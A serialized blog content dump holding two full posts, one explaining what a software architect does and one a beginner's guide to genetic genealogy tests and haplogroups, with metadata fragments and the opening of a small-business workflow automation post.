var(--shiki-default-text-decoration);}",{"title":84,"searchDepth":119,"depth":119,"links":9405},[9406,9407,9408,9409,9410,9411,9412,9413,9414],{"id":6363,"depth":112,"text":6364},{"id":6388,"depth":112,"text":6389},{"id":7103,"depth":112,"text":7104},{"id":7541,"depth":112,"text":7542},{"id":7551,"depth":112,"text":7552},{"id":8027,"depth":112,"text":8028},{"id":8347,"depth":112,"text":8348},{"id":8941,"depth":112,"text":8942},{"id":580,"depth":112,"text":581},"Architecture","A practical guide to WebSockets in production — connection management, broadcasting, authentication, horizontal scaling with Redis pub/sub, and when to use SSE instead.",[9418,9419],"WebSockets real-time","real-time application",{},"/blog/websockets-realtime",{"title":6351,"description":9416},"blog/websockets-realtime",[6384,9425,9415],"Real-Time","IzkfhR8hGuIYNN49dRczgZk-EDnDqP2QzD296bjSQ0s",{"id":9428,"title":9429,"author":9430,"body":9431,"category":9415,"date":627,"description":9764,"extension":629,"featured":630,"image":631,"keywords":9765,"meta":9771,"navigation":115,"path":9772,"readTime":526,"seo":9773,"stem":9774,"tags":9775,"__hash__":9780},"blog/blog/what-is-a-software-architect.md","What Is a Software Architect? (And Why Your Business Needs One)",{"name":9,"bio":10},{"type":12,"value":9432,"toc":9752},[9433,9437,9440,9443,9450,9453,9455,9459,9462,9465,9471,9477,9491,9497,9503,9505,9509,9512,9518,9524,9530,9536,9538,9542,9545,9551,9557,9563,9566,9568,9572,9575,9581,9587,9593,9599,9605,9607,9611,9614,9631,9634,9645,9648,9650,9654,9657,9664,9667,9670,9672,9676,9679,9685,9691,9697,9703,9710,9712,9716,9719,9722,9724,9726],[26,9434,9436],{"id":9435},"the-question-i-get-asked-most","The Question I Get Asked Most",[19,9438,9439],{},"When I tell people I'm a software architect, I get one of two responses. Either they nod politely and have no idea what that means, or they ask: \"So, like... A senior developer?\"",[19,9441,9442],{},"Neither is quite right.",[19,9444,9445,9446,9449],{},"A software architect is responsible for the ",[5027,9447,9448],{},"structural decisions"," that determine whether a system can do what the business needs it to do — not just today, but in three years, when the user count has tripled and the requirements have changed in ways you didn't predict. It's the difference between building a house and designing one. Both require technical knowledge. But the architect is the person who decides where the load-bearing walls go before the first brick is laid.",[19,9451,9452],{},"This post explains what a software architect actually does, what skills separate good ones from bad ones, and how to know whether you need one.",[565,9454],{},[26,9456,9458],{"id":9457},"what-does-a-software-architect-do","What Does a Software Architect Do?",[19,9460,9461],{},"The simplest definition: a software architect makes the decisions that are expensive to undo.",[19,9463,9464],{},"What that looks like in practice:",[19,9466,9467,9470],{},[5027,9468,9469],{},"Choosing the right technology stack."," Not the trendy one. Not the one the developers are excited about. The one that fits the problem, the team's skills, the company's timeline, and the next three years of probable requirements. Getting this wrong costs months of rework. Getting it right is invisible — everything just works.",[19,9472,9473,9476],{},[5027,9474,9475],{},"Defining system boundaries."," Where does one service end and another begin? What communicates with what, and through what interface? A well-drawn system boundary means that when the payment team makes a change, it doesn't break the inventory team's code. A poorly drawn one means every change ripples through the entire codebase.",[19,9478,9479,9482,9483,9487,9488,9490],{},[5027,9480,9481],{},"Designing for scale."," Not premature scale — designing a distributed microservices cluster for a fifty-user internal tool is its own form of malpractice. But also not naive scale — building a monolith so tightly coupled that pulling a single thread unravels the whole sweater. A software architect finds the architecture that fits the ",[9484,9485,9486],"em",{},"current"," scale and has clear, documented paths to the ",[9484,9489,7178],{}," scale.",[19,9492,9493,9496],{},[5027,9494,9495],{},"Establishing the non-negotiables."," Security posture, data residency requirements, audit logging, compliance considerations. These decisions are architectural because changing them later requires touching every layer of the stack. An architect defines them upfront so developers don't accidentally make them wrong.",[19,9498,9499,9502],{},[5027,9500,9501],{},"Being the translation layer between business and engineering."," This is the part most people miss. A software architect spends significant time understanding what the business actually needs — not the feature request, but the problem behind the feature request — and translating it into technical constraints the engineering team can execute against. Bad requirements produce architecturally correct but commercially useless software. Good architects prevent that.",[565,9504],{},[26,9506,9508],{"id":9507},"what-a-software-architect-is-not","What a Software Architect Is Not",[19,9510,9511],{},"A software architect is not:",[19,9513,9514,9517],{},[5027,9515,9516],{},"A manager."," Architects are technical leaders, not people managers. They influence through expertise, not org-chart authority. Some architects have management responsibilities, but the role itself is about technical direction.",[19,9519,9520,9523],{},[5027,9521,9522],{},"A pure strategist who doesn't write code."," The best architects stay close to the code. They review pull requests, contribute to foundational components, and pair with developers on the hardest problems. An architect who stops writing code stops understanding what's actually hard about implementation — and their designs start requiring workarounds that the developers have to live with forever.",[19,9525,9526,9529],{},[5027,9527,9528],{},"A senior developer with a fancy title."," A senior developer executes well on a defined scope. An architect defines what the scope should be, how the pieces fit together, and what the system looks like in two years. Both are valuable. They're different jobs.",[19,9531,9532,9535],{},[5027,9533,9534],{},"A bottleneck."," In bad organizations, the architect becomes the single approver for every technical decision. This doesn't scale. A software architect's job is to establish patterns so clearly that developers can make the right call without asking — and to be available for the genuinely novel decisions that patterns don't cover.",[565,9537],{},[26,9539,9541],{"id":9540},"the-three-levels-of-architectural-decision","The Three Levels of Architectural Decision",[19,9543,9544],{},"Every software system involves decisions at three levels. Understanding this clarifies what an architect actually owns.",[19,9546,9547,9550],{},[5027,9548,9549],{},"Level 1: System Architecture."," What components exist? How do they communicate? What databases, queues, caches, and external services make up the system? What are the deployment targets? These decisions have the longest half-life and the highest cost to change.",[19,9552,9553,9556],{},[5027,9554,9555],{},"Level 2: Application Architecture."," Within each component, how is the code organized? What patterns does the team follow? How is authentication handled? How are errors propagated? These decisions affect every developer on the team every day.",[19,9558,9559,9562],{},[5027,9560,9561],{},"Level 3: Implementation Details."," Which specific library handles this particular problem? How is this particular endpoint structured? These decisions matter but are usually reversible — the blast radius of a bad implementation detail is contained.",[19,9564,9565],{},"A software architect primarily owns Level 1, sets standards for Level 2, and delegates Level 3 entirely to the engineering team. The mistake many organizations make is treating all three levels as equivalent — either letting architects control everything (bottleneck) or letting developers make Level 1 decisions by accident (a different kind of disaster).",[565,9567],{},[26,9569,9571],{"id":9570},"skills-that-define-a-good-software-architect","Skills That Define a Good Software Architect",[19,9573,9574],{},"I'll write a separate post on this in depth, but the short version:",[19,9576,9577,9580],{},[5027,9578,9579],{},"Deep technical literacy across multiple domains."," Not mastery of everything — that's impossible. But enough understanding of databases, networks, security, frontend, backend, and infrastructure to know which technical decisions have structural implications and which are local choices. You can't draw a good system boundary if you don't understand what's on both sides of it.",[19,9582,9583,9586],{},[5027,9584,9585],{},"The ability to reason about time."," Software decisions are bets about the future. Good architects don't just design for what the system needs to do today. They reason explicitly about what will probably change, what will probably stay the same, and how to structure the system so that the changes are easy to make and the stable parts are hard to accidentally break.",[19,9588,9589,9592],{},[5027,9590,9591],{},"Communication."," An architect who can't explain their decisions to non-technical stakeholders will lose every resource battle to the feature requests that are easier to justify. An architect who can't explain their decisions to engineers will watch their designs be implemented incorrectly, because the implementation decisions that weren't specified will be made by whoever is touching the code that day.",[19,9594,9595,9598],{},[5027,9596,9597],{},"Intellectual humility."," Architecture involves trade-offs, not optimal solutions. Every architectural decision is a bet. The ones who are most dangerous are architects who are certain — who see their job as implementing The Correct Architecture rather than making the best-available decision given current information and updating that decision when better information arrives.",[19,9600,9601,9604],{},[5027,9602,9603],{},"Pattern recognition."," Most novel-seeming problems are variants of problems that have been solved before. A software architect who has seen enough systems recognizes when the \"new\" problem maps onto a known pattern — and knows which patterns work and which ones look good on diagrams but collapse under real usage.",[565,9606],{},[26,9608,9610],{"id":9609},"when-do-you-actually-need-a-software-architect","When Do You Actually Need a Software Architect?",[19,9612,9613],{},"You need a software architect when:",[583,9615,9616,9619,9622,9625,9628],{},[586,9617,9618],{},"Your system is going to be used by more than one development team",[586,9620,9621],{},"You're making technology choices that will affect hiring, deployment, and maintenance for the next several years",[586,9623,9624],{},"You're building something that will need to scale significantly beyond its initial scope",[586,9626,9627],{},"Your organization is growing and you need to establish shared technical standards before the teams diverge",[586,9629,9630],{},"You're in a regulated industry where architectural decisions have legal or compliance implications",[19,9632,9633],{},"You probably don't need a dedicated software architect when:",[583,9635,9636,9639,9642],{},[586,9637,9638],{},"You're a team of two or three developers building an MVP and moving fast",[586,9640,9641],{},"The problem is well-understood and the technology choices are obvious",[586,9643,9644],{},"The codebase is small enough that one developer can hold the entire mental model in their head",[19,9646,9647],{},"The pattern I see most often in practice: organizations wait too long to bring in architectural thinking. They move fast, ship fast, accumulate technical debt fast — and then, at exactly the moment they need to scale, they discover that the system's structure prevents them from doing so. The retrofit is always more expensive than the original investment.",[565,9649],{},[26,9651,9653],{"id":9652},"what-it-looks-like-in-practice","What It Looks Like in Practice",[19,9655,9656],{},"Here's a concrete example. A client came to me with a software project that had been in development for eighteen months. Five developers, good engineers. The system worked. But it had a problem: adding a new client to the platform required manual database intervention. Every new client meant ops work, and the system couldn't be self-served.",[19,9658,9659,9660,9663],{},"The technical reason was that tenant isolation had been implemented as a naming convention in a single database rather than as a first-class architectural concept. Every table had a ",[40,9661,9662],{},"client_id"," column, but the application layer hadn't been built to enforce isolation at the query level — it relied on developers remembering to filter correctly. When they forgot, data leaked across clients. When they tried to add automated client provisioning, they discovered the system had no concept of a \"tenant\" as a unit — just a convention.",[19,9665,9666],{},"The architectural fix was not a feature. It was a structural change: moving tenant context into the application's middleware layer so that every query was automatically scoped to the current tenant, and adding a provisioning model that let the system create new tenants without human intervention. That change touched sixty-seven files. It took three weeks. And it was the difference between a system that could onboard ten clients a year with manual effort and one that could onboard ten clients a week automatically.",[19,9668,9669],{},"That's architectural work. It's not glamorous. It doesn't ship features. But it's the work that determines whether the system can fulfill the business's actual ambitions.",[565,9671],{},[26,9673,9675],{"id":9674},"finding-the-right-software-architect","Finding the Right Software Architect",[19,9677,9678],{},"If you're looking to hire a software architect, the things that matter most are:",[19,9680,9681,9684],{},[5027,9682,9683],{},"Relevant domain experience."," Architecture patterns that work in consumer-facing social apps are not the same as patterns that work in regulated enterprise software. Find someone who has built in your domain.",[19,9686,9687,9690],{},[5027,9688,9689],{},"Evidence of trade-off reasoning."," Ask candidates to walk you through an architectural decision they made that they'd make differently now. If they can't think of one, they haven't built anything hard enough. If they can, pay attention to how they reason about it.",[19,9692,9693,9696],{},[5027,9694,9695],{},"Communication ability."," Put them in a room with a non-technical stakeholder and watch. This is the fastest signal.",[19,9698,9699,9702],{},[5027,9700,9701],{},"Humility about uncertainty."," The right answer to \"how would you architect this?\" is almost never a single confident proposal. It's a set of questions: What are the usage patterns? What's the team size? What does scaling look like? The architect who answers immediately hasn't understood the problem.",[19,9704,9705,9706],{},"If you're considering bringing on a software architect for a specific project or engagement, I work with founders and teams who need production-quality systems built right the first time. ",[571,9707,9709],{"href":573,"rel":9708},[575],"Let's talk.",[565,9711],{},[26,9713,9715],{"id":9714},"the-bottom-line","The Bottom Line",[19,9717,9718],{},"A software architect is the person responsible for the decisions that determine whether your software can do what your business needs it to do — now and in the future. The role sits at the intersection of technical depth, business understanding, and communication. It's not about being the smartest developer in the room. It's about making structural decisions that let everyone else in the room do their best work.",[19,9720,9721],{},"When organizations think about software architecture early, the systems they build are easier to extend, cheaper to operate, and safer to run. When they don't, they pay for the retrofit — usually at the worst possible moment.",[565,9723],{},[26,9725,581],{"id":580},[583,9727,9728,9734,9740,9746],{},[586,9729,9730],{},[571,9731,9733],{"href":9732},"/blog/software-architect-skills","The Skills That Separate Software Architects from Senior Developers",[586,9735,9736],{},[571,9737,9739],{"href":9738},"/blog/software-architect-vs-software-engineer","Software Architect vs Software Engineer: What's Actually Different",[586,9741,9742],{},[571,9743,9745],{"href":9744},"/blog/how-to-become-a-software-architect","How to Become a Software Architect (A Practitioner's Path)",[586,9747,9748],{},[571,9749,9751],{"href":9750},"/blog/software-architecture-patterns","Software Architecture Patterns Every Architect Should Know",{"title":84,"searchDepth":119,"depth":119,"links":9753},[9754,9755,9756,9757,9758,9759,9760,9761,9762,9763],{"id":9435,"depth":112,"text":9436},{"id":9457,"depth":112,"text":9458},{"id":9507,"depth":112,"text":9508},{"id":9540,"depth":112,"text":9541},{"id":9570,"depth":112,"text":9571},{"id":9609,"depth":112,"text":9610},{"id":9652,"depth":112,"text":9653},{"id":9674,"depth":112,"text":9675},{"id":9714,"depth":112,"text":9715},{"id":580,"depth":112,"text":581},"A software architect is more than a senior developer — they shape the entire technical direction of your product. Here's what the role actually involves, when you need one, and what separates great architects from glorified coders.",[9766,9767,9768,9769,9770],"what is a software architect","what does a software architect do","software architect role","enterprise software development","hire software architect",{},"/blog/what-is-a-software-architect",{"title":9429,"description":9764},"blog/what-is-a-software-architect",[9776,9777,9778,9779],"Software Architecture","Enterprise Software","Career","Systems Design","0jDygF_jBdL3wdI_P9WBw2L9G133HrajB0rcZvKJhUA",{"id":9782,"title":9783,"author":9784,"body":9786,"category":10308,"date":627,"description":10309,"extension":629,"featured":630,"image":631,"keywords":10310,"meta":10318,"navigation":115,"path":10319,"readTime":526,"seo":10320,"stem":10321,"tags":10322,"__hash__":10329},"blog/blog/what-is-genetic-genealogy.md","What Is Genetic Genealogy? A Beginner's Guide to Reading Your DNA for Family History",{"name":9,"bio":9785},"Author of The Forge of Tongues — 22,000 Years of Migration, Mutation, and Memory",{"type":12,"value":9787,"toc":10293},[9788,9792,9795,9801,9804,9806,9810,9814,9817,9824,9829,9843,9848,9859,9865,9869,9872,9875,9880,9891,9896,9904,9907,9911,9914,9919,9930,9935,9946,9949,9951,9955,10057,10067,10075,10083,10085,10089,10096,10099,10125,10128,10130,10134,10137,10140,10147,10154,10157,10159,10163,10170,10181,10187,10190,10192,10196,10240,10242,10246,10249,10252,10254,10258,10284,10287],[26,9789,9791],{"id":9790},"dna-as-a-historical-document","DNA as a Historical Document",[19,9793,9794],{},"Every cell in your body contains a complete copy of your genetic code — approximately 3 billion base pairs of DNA, encoding the full biological instruction set for making you. Hidden within that code is something most people never think about: a detailed record of where your ancestors came from, going back thousands of years.",[19,9796,9797,9800],{},[5027,9798,9799],{},"Genetic genealogy"," is the use of DNA testing to research family history and trace ancestral origins. It has transformed what's possible in family history research. Where traditional genealogy runs out of road when paper records run out — typically in the 1600s to 1800s depending on location and circumstances — genetic genealogy can reach back not just centuries but millennia, tracing migration patterns that predate writing itself.",[19,9802,9803],{},"This guide explains how it works, which tests reveal which information, and what you should realistically expect from your results.",[565,9805],{},[26,9807,9809],{"id":9808},"the-three-types-of-dna-used-in-genealogy","The Three Types of DNA Used in Genealogy",[1462,9811,9813],{"id":9812},"_1-y-chromosome-dna-y-dna-the-paternal-line","1. Y-Chromosome DNA (Y-DNA) — The Paternal Line",[19,9815,9816],{},"The Y-chromosome passes from father to son with almost no change, generation after generation. This makes it uniquely useful for tracing the direct paternal line — your father's father's father, straight back through history.",[19,9818,9819,9820,9823],{},"Y-DNA accumulates mutations (called SNPs — Single Nucleotide Polymorphisms) at a slow, roughly predictable rate. These mutations are permanent and heritable: once a mutation occurs, every subsequent male descendant carries it. Geneticists use these accumulated mutations to build a ",[5027,9821,9822],{},"haplogroup tree"," — a branching diagram that shows when lineages diverged and where on earth they originated.",[19,9825,9826],{},[5027,9827,9828],{},"What Y-DNA tells you:",[583,9830,9831,9834,9837,9840],{},[586,9832,9833],{},"Your patrilineal haplogroup (e.g., R1b-L21, E-V13, I2-M223)",[586,9835,9836],{},"Where your direct male-line ancestors came from geographically",[586,9838,9839],{},"How your patriline connects to known historic or prehistoric populations",[586,9841,9842],{},"Matches with other men who share your recent male-line ancestry (if you join surname projects)",[19,9844,9845],{},[5027,9846,9847],{},"What Y-DNA doesn't tell you:",[583,9849,9850,9853,9856],{},[586,9851,9852],{},"Anything about your mother's side",[586,9854,9855],{},"Your father's mother's side",[586,9857,9858],{},"Autosomal ancestry percentages",[19,9860,9861,9864],{},[5027,9862,9863],{},"Only males can take Y-DNA tests."," Women don't have a Y-chromosome. A woman who wants to test her paternal line needs a male relative — father, brother, paternal uncle, male cousin in the paternal line — to test.",[1462,9866,9868],{"id":9867},"_2-mitochondrial-dna-mtdna-the-maternal-line","2. Mitochondrial DNA (mtDNA) — The Maternal Line",[19,9870,9871],{},"Mitochondrial DNA passes from mothers to all their children (both sons and daughters). Because it passes through the maternal line, it traces your mother's mother's mother, straight back through history — the direct female line.",[19,9873,9874],{},"Like Y-DNA, mtDNA accumulates mutations slowly and predictably, allowing assignment to a maternal haplogroup.",[19,9876,9877],{},[5027,9878,9879],{},"What mtDNA tells you:",[583,9881,9882,9885,9888],{},[586,9883,9884],{},"Your matrilineal haplogroup (e.g., H1, U5, K1, J2)",[586,9886,9887],{},"Where your direct female-line ancestors came from",[586,9889,9890],{},"Deep ancestry of the maternal line (often much older than documented genealogy)",[19,9892,9893],{},[5027,9894,9895],{},"What mtDNA doesn't tell you:",[583,9897,9898,9901],{},[586,9899,9900],{},"Your father's side",[586,9902,9903],{},"Anything beyond the direct maternal line",[19,9905,9906],{},"Both males and females can take mtDNA tests. The mutation rate is slow, so mtDNA results often connect people who are related dozens of generations back — useful for deep ancestry, less useful for recent genealogy.",[1462,9908,9910],{"id":9909},"_3-autosomal-dna-the-full-ancestral-picture","3. Autosomal DNA — The Full Ancestral Picture",[19,9912,9913],{},"Autosomal DNA is the DNA you inherit from both parents, scrambled together through the process of genetic recombination. It represents roughly equal contributions from all your ancestors, though the contribution of each individual ancestor diminishes by half every generation.",[19,9915,9916],{},[5027,9917,9918],{},"What autosomal DNA tells you:",[583,9920,9921,9924,9927],{},[586,9922,9923],{},"Ethnic/regional ancestry percentages (e.g., \"62% Scottish/Irish, 28% English, 10% Scandinavian\")",[586,9925,9926],{},"Matches with cousins and other relatives (up to approximately 4th–7th cousins)",[586,9928,9929],{},"Connections to specific geographic regions at the population level",[19,9931,9932],{},[5027,9933,9934],{},"What autosomal DNA doesn't tell you:",[583,9936,9937,9940,9943],{},[586,9938,9939],{},"Individual ancestor information beyond about 6–7 generations (too much dilution)",[586,9941,9942],{},"Which specific ancestor contributed which DNA segment",[586,9944,9945],{},"Detailed haplogroup information (some basic haplogroups are reported, but not with the depth of dedicated Y-DNA or mtDNA tests)",[19,9947,9948],{},"Autosomal DNA is what most commercial ancestry tests (AncestryDNA, 23andMe, MyHeritage) primarily measure.",[565,9950],{},[26,9952,9954],{"id":9953},"which-test-should-you-take","Which Test Should You Take?",[9956,9957,9958,9971],"table",{},[9959,9960,9961],"thead",{},[9962,9963,9964,9968],"tr",{},[9965,9966,9967],"th",{},"Goal",[9965,9969,9970],{},"Best Test",[9972,9973,9974,9994,10013,10026,10037,10049],"tbody",{},[9962,9975,9976,9980],{},[9977,9978,9979],"td",{},"Find living relatives / cousins",[9977,9981,9982,9987,9988,9993],{},[571,9983,9986],{"href":9984,"rel":9985},"https://www.ancestry.com/dna/",[575],"AncestryDNA"," or ",[571,9989,9992],{"href":9990,"rel":9991},"https://www.23andme.com",[575],"23andMe"," (autosomal)",[9962,9995,9996,9999],{},[9977,9997,9998],{},"Ethnic ancestry percentages",[9977,10000,10001,483,10004,10007,10008,9993],{},[571,10002,9986],{"href":9984,"rel":10003},[575],[571,10005,9992],{"href":9990,"rel":10006},[575],", or ",[571,10009,10012],{"href":10010,"rel":10011},"https://www.myheritage.com/dna",[575],"MyHeritage DNA",[9962,10014,10015,10018],{},[9977,10016,10017],{},"Deep paternal line haplogroup",[9977,10019,10020,10025],{},[571,10021,10024],{"href":10022,"rel":10023},"https://www.familytreedna.com/products/y-dna",[575],"FamilyTreeDNA Y-DNA"," (Y-37, Y-111, or Big Y-700)",[9962,10027,10028,10031],{},[9977,10029,10030],{},"Specific haplogroup research (e.g., M222, L21)",[9977,10032,10033],{},[571,10034,10036],{"href":10022,"rel":10035},[575],"FamilyTreeDNA Big Y-700",[9962,10038,10039,10042],{},[9977,10040,10041],{},"Deep maternal line haplogroup",[9977,10043,10044],{},[571,10045,10048],{"href":10046,"rel":10047},"https://www.familytreedna.com/products/mitochondrial-dna",[575],"FamilyTreeDNA mtDNA Full Sequence",[9962,10050,10051,10054],{},[9977,10052,10053],{},"All of the above",[9977,10055,10056],{},"AncestryDNA + FamilyTreeDNA Big Y-700 + mtDNA Full Sequence",[19,10058,10059,10066],{},[5027,10060,10061],{},[571,10062,10065],{"href":10063,"rel":10064},"https://www.familytreedna.com",[575],"FamilyTreeDNA"," is the preferred platform for serious Y-DNA and mtDNA research. They offer the most comprehensive Y-chromosome testing (the Big Y-700 sequences over 200,000 positions on the Y-chromosome), and they host the largest collection of surname DNA projects, which aggregate results from researchers studying the same family names.",[19,10068,10069,10074],{},[5027,10070,10071],{},[571,10072,9986],{"href":9984,"rel":10073},[575]," has the largest database of autosomal results — over 22 million tests — which maximises the chance of finding cousin matches and living relatives.",[19,10076,10077,10082],{},[5027,10078,10079],{},[571,10080,9992],{"href":9990,"rel":10081},[575]," is useful for autosomal results and some Y-DNA haplogroup information, though their Y-DNA depth is significantly less than FamilyTreeDNA's dedicated tests.",[565,10084],{},[26,10086,10088],{"id":10087},"haplogroups-the-chapter-headings-of-your-genetic-history","Haplogroups: The Chapter Headings of Your Genetic History",[19,10090,10091,10092,10095],{},"When Y-DNA or mtDNA results come back, the key result is your ",[5027,10093,10094],{},"haplogroup"," — a label like R1b-L21, E-M215, or H1a that places you on the haplogroup tree.",[19,10097,10098],{},"Think of haplogroups as chapter headings in a very long book:",[583,10100,10101,10107,10113,10119],{},[586,10102,10103,10106],{},[5027,10104,10105],{},"R"," = Chapter 28,000 years ago: a mutation in Central Asia defines haplogroup R",[586,10108,10109,10112],{},[5027,10110,10111],{},"R1b"," = Chapter 22,000 years ago: the western branch of R emerges",[586,10114,10115,10118],{},[5027,10116,10117],{},"R1b-M269"," = Chapter 7,000 years ago: the Western European lineage expands from the Steppe with the Yamnaya",[586,10120,10121,10124],{},[5027,10122,10123],{},"R1b-L21"," = Chapter 4,000 years ago: the Atlantic Celtic marker arises, associated with the Bell Beaker expansion into Ireland and Britain",[19,10126,10127],{},"Each chapter tells you something specific about where your ancestors were, at what time, during what cultural period. R1b-L21 means your direct male line was part of the population that arrived in Ireland and Britain during the Bell Beaker period — the same population that eventually produced the Gaelic-speaking Highland clans.",[565,10129],{},[26,10131,10133],{"id":10132},"what-genetic-genealogy-cant-do","What Genetic Genealogy Can't Do",[19,10135,10136],{},"A common misconception: genetic genealogy can identify specific named ancestors.",[19,10138,10139],{},"It cannot. It can identify population-level patterns, haplogroup assignments, and matches with other tested individuals — but it cannot reach into the historical record and say \"your great-great-great-grandfather was Fergus Mac Something.\" That requires documentary genealogy.",[19,10141,10142,10143,10146],{},"What genetic genealogy ",[9484,10144,10145],{},"can"," do is confirm or challenge conclusions reached through documentary research. If a family tradition says the line descends from a specific ethnic or regional population, a Y-DNA test can confirm whether the patrilineal haplogroup is consistent with that claim — or reveal that it isn't.",[19,10148,10149,10150,10153],{},"A specific example: the Ross clan tradition claims descent from Irish Dal Riata roots (Loarn mac Eirc, via the Cenél Loairn and O'Beolans of Applecross). A Y-DNA result showing R1b-L21 without M222 is ",[9484,10151,10152],{},"consistent"," with a Dal Riata Irish origin — the haplogroup is right, and the absence of M222 (the Uí Néill marker) is consistent with the tradition that the Ross line descends from Loarn rather than the Uí Néill-adjacent Cenél nGabráin. The DNA can't prove the specific names, but it doesn't contradict the broad pattern.",[19,10155,10156],{},"That's the appropriate use of genetic genealogy: as corroboration or challenge, not as proof.",[565,10158],{},[26,10160,10162],{"id":10161},"surname-dna-projects","Surname DNA Projects",[19,10164,10165,10166,10169],{},"One of the most powerful tools in genetic genealogy is the ",[5027,10167,10168],{},"surname DNA project"," at FamilyTreeDNA. These projects aggregate Y-DNA results from men who share a surname, allowing researchers to:",[583,10171,10172,10175,10178],{},[586,10173,10174],{},"Identify which tested men share a recent common ancestor (matching on many STR markers)",[586,10176,10177],{},"Cluster results by haplogroup to identify different genetic origins for the same surname",[586,10179,10180],{},"Compare results with known family trees to anchor genetic clusters to documentary lineages",[19,10182,1821,10183,10186],{},[5027,10184,10185],{},"Ross Surname DNA Project"," at FamilyTreeDNA aggregates results from Ross men worldwide. It allows comparison of your Y-DNA result with other Ross men, identification of haplogroup clusters within the Ross surname, and assessment of whether your line is likely to be connected to the Scottish Highland Clan Ross or is a separately-originated use of the surname.",[19,10188,10189],{},"Not all men named Ross share the same genetic origin. The surname was adopted by different families in different places. Genetic clustering within the surname project helps distinguish these different origins.",[565,10191],{},[26,10193,10195],{"id":10194},"getting-started-a-practical-checklist","Getting Started: A Practical Checklist",[5278,10197,10198,10204,10210,10216,10222,10234],{},[586,10199,10200,10203],{},[5027,10201,10202],{},"Decide what you want to know."," Deep patrilineal ancestry? Living relatives? Ethnic percentages? Different tests answer different questions.",[586,10205,10206,10209],{},[5027,10207,10208],{},"Order the right test for your goal."," AncestryDNA for relatives and ethnicity. FamilyTreeDNA Big Y-700 for deep Y-chromosome haplogroup research.",[586,10211,10212,10215],{},[5027,10213,10214],{},"Test a direct male-line relative for Y-DNA."," The Y-chromosome is only in men. If you're a woman testing paternal ancestry, you need a father, brother, or paternal uncle to test.",[586,10217,10218,10221],{},[5027,10219,10220],{},"Join the relevant surname project."," FamilyTreeDNA hosts hundreds of surname projects. Join the one for your surname — it's free once you have a test result.",[586,10223,10224,10227,10228,10233],{},[5027,10225,10226],{},"Upload your raw data to GEDmatch."," ",[571,10229,10232],{"href":10230,"rel":10231},"https://www.gedmatch.com",[575],"GEDmatch"," is a third-party analysis platform that allows comparison across different testing companies. Uploading your autosomal raw data from AncestryDNA or 23andMe to GEDmatch increases your pool of potential matches.",[586,10235,10236,10239],{},[5027,10237,10238],{},"Be patient with interpretation."," Haplogroup results are solid facts. Percentage estimates and relative matches require interpretation. Read the primer documents on your testing platform before drawing conclusions.",[565,10241],{},[26,10243,10245],{"id":10244},"the-deeper-picture","The Deeper Picture",[19,10247,10248],{},"Genetic genealogy at its most interesting does something beyond identifying relatives: it connects you to human migration on a geological timescale. The R1b-L21 haplogroup that characterizes the Clan Ross patriline doesn't just say \"your ancestors were Irish/Scottish.\" It says: your direct male line was part of the population that rode the Pontic-Caspian Steppe 5,000 years ago, expanded through Europe with the Yamnaya and Bell Beaker cultural complexes, arrived in Ireland around 2,500 BC, crossed to Scotland as part of the Dal Riata migration around 500 AD, and settled in the territory that became Ross-shire.",[19,10250,10251],{},"That chain runs 22,000 years back from the present — from the M343 mutation that defines R1b, arising during the Last Glacial Maximum — and forward through every named and unnamed ancestor to the man who takes the test.",[565,10253],{},[26,10255,10257],{"id":10256},"related-articles","Related Articles",[583,10259,10260,10266,10272,10278],{},[586,10261,10262],{},[571,10263,10265],{"href":10264},"/blog/r1b-l21-atlantic-celtic-haplogroup","What Is R1b-L21? The Atlantic Celtic Haplogroup Explained",[586,10267,10268],{},[571,10269,10271],{"href":10270},"/blog/y-chromosomal-adam-father-of-all-men","Y-Chromosomal Adam: The Father of All Living Men",[586,10273,10274],{},[571,10275,10277],{"href":10276},"/blog/yamnaya-horizon-steppe-ancestors","The Yamnaya Horizon: The Steppe Pastoralists Who Rewrote European DNA",[586,10279,10280],{},[571,10281,10283],{"href":10282},"/blog/niall-of-the-nine-hostages-ross-connection","Niall of the Nine Hostages and the Ross Connection",[19,10285,10286],{},"That is what a haplogroup string means. It is the oldest document your family possesses.",[19,10288,10289],{},[571,10290,10292],{"href":10291},"/book","Read the full story of the R1b-L21 haplogroup and the Ross family's genetic history in The Forge of Tongues: 22,000 Years of Migration, Mutation, and Memory.",{"title":84,"searchDepth":119,"depth":119,"links":10294},[10295,10296,10301,10302,10303,10304,10305,10306,10307],{"id":9790,"depth":112,"text":9791},{"id":9808,"depth":112,"text":9809,"children":10297},[10298,10299,10300],{"id":9812,"depth":119,"text":9813},{"id":9867,"depth":119,"text":9868},{"id":9909,"depth":119,"text":9910},{"id":9953,"depth":112,"text":9954},{"id":10087,"depth":112,"text":10088},{"id":10132,"depth":112,"text":10133},{"id":10161,"depth":112,"text":10162},{"id":10194,"depth":112,"text":10195},{"id":10244,"depth":112,"text":10245},{"id":10256,"depth":112,"text":10257},"Heritage","Genetic genealogy uses DNA testing to research family history and trace ancestry. Here's how it works, which tests to choose, and what the results actually tell you — explained for beginners without a biology degree.",[10311,10312,10313,10314,10315,10316,10317],"what is genetic genealogy","genetic genealogy beginners guide","dna testing family history","how to read dna ancestry results","y chromosome dna test","ancestry dna vs 23andme","haplogroup testing",{},"/blog/what-is-genetic-genealogy",{"title":9783,"description":10309},"blog/what-is-genetic-genealogy",[10323,10324,10325,10326,10327,10328],"Genetic Genealogy","DNA Testing","Family History","Ancestry","Y-Chromosome","Haplogroup","d1yeVw1Yt4BAefGpCCJMV2XIciHlBPTLP90y7jsy-Zs",{"id":10331,"title":10332,"author":10333,"body":10334,"category":3174,"date":627,"description":10581,"extension":629,"featured":630,"image":631,"keywords":10582,"meta":10585,"navigation":115,"path":10586,"readTime":526,"seo":10587,"stem":10588,"tags":10589,"__hash__":10595},"blog/blog/workflow-automation-small-business.md","Workflow Automation for Small Business: Where to Start and What to Skip",{"name":9,"bio":10},{"type":12,"value":10335,"toc":10571},[10336,10340,10343,10346,10349,10353,10356,10362,10368,10374,10377,10381,10384,10390,10396,10402,10408,10414,10418,10421,10427,10433,10439,10445,10449,10452,10458,10464,10470,10476,10480,10483,10486,10489,10492,10497,10514,10517,10521,10524,10527,10530,10533,10541,10543,10545],[26,10337,10339],{"id":10338},"most-automation-advice-is-written-for-the-wrong-audience","Most Automation Advice Is Written for the Wrong Audience",[19,10341,10342],{},"The automation content you'll find online is mostly written for one of two audiences: enterprise IT departments or individual productivity enthusiasts. Small business owners running 10-50 person operations fall into neither category — your problems are different, your resources are different, and the right solutions are different.",[19,10344,10345],{},"You don't have an IT team. You can't afford to spend months implementing something. You need automation that either pays for itself within a few months or frees up enough time that growth becomes possible. And you need to know which processes are actually worth automating versus which ones are tempting but not worth the 